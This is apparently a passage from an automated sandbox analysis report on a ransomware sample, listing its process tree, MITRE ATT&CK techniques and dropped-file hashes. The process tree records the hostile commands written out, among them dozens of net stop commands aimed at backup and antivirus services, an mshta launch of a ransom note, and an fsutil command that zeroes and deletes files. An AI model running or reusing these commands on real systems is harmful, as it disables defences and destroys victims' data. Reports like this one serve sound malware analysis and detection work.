  "net.exe" stop BackupExecJobEngine /y
  2⤵
  PID:2616
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecDiveciMediaService /y
  2⤵
  PID:2104
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecAgentBrowser /y
  2⤵
  PID:3268
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecAgentAccelerator /y
  2⤵
  PID:1932
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecVSSProvider /y
  2⤵
  PID:5056
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop PDVFSService /y
  2⤵
  PID:3536
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop veeam /y
  2⤵
  PID:1888
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VeeamNFSSvc /y
  2⤵
  PID:2184
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VeeamDeploymentService /y
  2⤵
  PID:896
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VeeamTransportSvc /y
  2⤵
  PID:992
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VSNAPVSS /y
  2⤵
  PID:692
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop stc_raw_agent /y
  2⤵
  PID:712
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop zhudongfangyu /y
  2⤵
  PID:4940
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop YooIT /y
  2⤵
  PID:2824
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop YooBackup /y
  2⤵
  PID:2808
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop QBCFMonitorService /y
  2⤵
  PID:1208
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop QBIDPService /y
  2⤵
  PID:2396
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop QBFCService /y
  2⤵
  PID:4008
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop RTVscan /y
  2⤵
  PID:3856
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SavRoam /y
  2⤵
  PID:3484
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop ccSetMgr /y
  2⤵
  PID:4248
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop ccEvtMgr /y
  2⤵
  PID:3752
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop DefWatch /y
  2⤵
  PID:3348
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop NetBackup BMR MTFTP Service /y
  2⤵
  PID:2140
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop McAfeeDLPAgentService /y
  2⤵
  PID:2360
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop avpsus /y
  2⤵
  PID:3468
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.hta
  2⤵
  - Blocklisted process makes network request
  PID:5712
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
  2⤵
  PID:1932
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.7 -n 3
    3⤵
    - Runs ping.exe
    PID:6020
- - C:\Windows\system32\fsutil.exe
    fsutil file setZeroData offset=0 length=524288 “%s”
    3⤵
    PID:6024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
  2⤵
  PID:5248
- - C:\Windows\system32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:5876

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop sophos /y
1⤵
PID:5360

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop RTVscan /y
1⤵
PID:5476

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
1⤵
PID:5548

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
1⤵
PID:5592

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop stc_raw_agent /y
1⤵
PID:5540

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop avpsus /y
1⤵
PID:868

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecVSSProvider /y
1⤵
PID:5704

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop ccEvtMgr /y
1⤵
PID:5696

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecManagementService /y
1⤵
PID:5688

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecRPCService /y
1⤵
PID:5680

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop YooBackup /y
1⤵
PID:5672

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop YooIT /y
1⤵
PID:5664

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop DefWatch /y
1⤵
PID:5656

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop AcrSch2Svc /y
1⤵
PID:5648

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VeeamTransportSvc /y
1⤵
PID:5760

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
1⤵
PID:5752

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop AcronisAgent /y
1⤵
PID:5744

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop QBFCService /y
1⤵
PID:5636

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop QBIDPService /y
1⤵
PID:5824

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop zhudongfangyu /y
1⤵
PID:5904

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VeeamNFSSvc /y
1⤵
PID:5936

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VeeamDeploymentService /y
1⤵
PID:5924

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop CASAD2DWebSvc /y
1⤵
PID:5916

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop QBCFMonitorService /y
1⤵
PID:5872

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecJobEngine /y
1⤵
PID:5856

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop CAARCUpdateSvc /y
1⤵
PID:5848

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop ccSetMgr /y
1⤵
PID:5840

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
1⤵
PID:5816

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
1⤵
PID:5800

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SavRoam /y
1⤵
PID:5788

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VSNAPVSS /y
1⤵
PID:5776

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop veeam /y
1⤵
PID:5624

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop PDVFSService /y
1⤵
PID:6036

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\HOW_TO_DECYPHER_FILES.txt

Filesize
446B

MD5
abdeb72036dc980cb24dd276525bbcf3

SHA1
b3f8c935ddd4343a0192dc9f8a9b73a93cb11fbc

SHA256
8f650d05f7d09c0740200637644375faf8b695a8526af21f0e4a94c75ce99482

SHA512
78aa5f667cac4ba53bf01fbeacb09e29bb9f4daf5b3875fcceabacfd586c7a4ee1a72b51310f17fbb26aeb154a7753fc2befb1ceb21a04eb43ce59fccb5bb314

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_utnar00o.ivb.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.hta

Filesize
1KB

MD5
1eeded6a36b03632885a29915f31e771

SHA1
0722f3ec8725528f99b1066d57be7e6bc8fd6631

SHA256
66949381aa3e13a3a37919a95d0c4047222d17a3ade1e37f0ad59c7635d820c7

SHA512
56452050784771b841dd72961e96bec2470ec3af85e3723909d6d6b67f66ea5cbc6f1bce6fd5cb888260f5d39ea6ae3643765a86af29b8c118a97b31619515f4

Download Submit
memory/3732-4-0x000001734D1F0000-0x000001734D200000-memory.dmp

Filesize
64KB

Download
memory/3732-3-0x000001734D1F0000-0x000001734D200000-memory.dmp

Filesize
64KB

Download
memory/3732-14-0x0000017365730000-0x0000017365752000-memory.dmp

Filesize
136KB

Download
memory/3732-7-0x00007FFA3B0E0000-0x00007FFA3BBA2000-memory.dmp

Filesize
10.8MB

Download
memory/3732-15-0x000001734D1F0000-0x000001734D200000-memory.dmp

Filesize
64KB

Download
memory/3732-18-0x00007FFA3B0E0000-0x00007FFA3BBA2000-memory.dmp

Filesize
10.8MB

Download
memory/4732-0-0x00000000009C0000-0x00000000009DA000-memory.dmp

Filesize
104KB

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memory/4732-2-0x000000001B7F0000-0x000000001B800000-memory.dmp

Filesize
64KB

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memory/4732-1-0x00007FFA3B0E0000-0x00007FFA3BBA2000-memory.dmp

Filesize
10.8MB

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memory/4732-134-0x00007FFA3B0E0000-0x00007FFA3BBA2000-memory.dmp

Filesize
10.8MB

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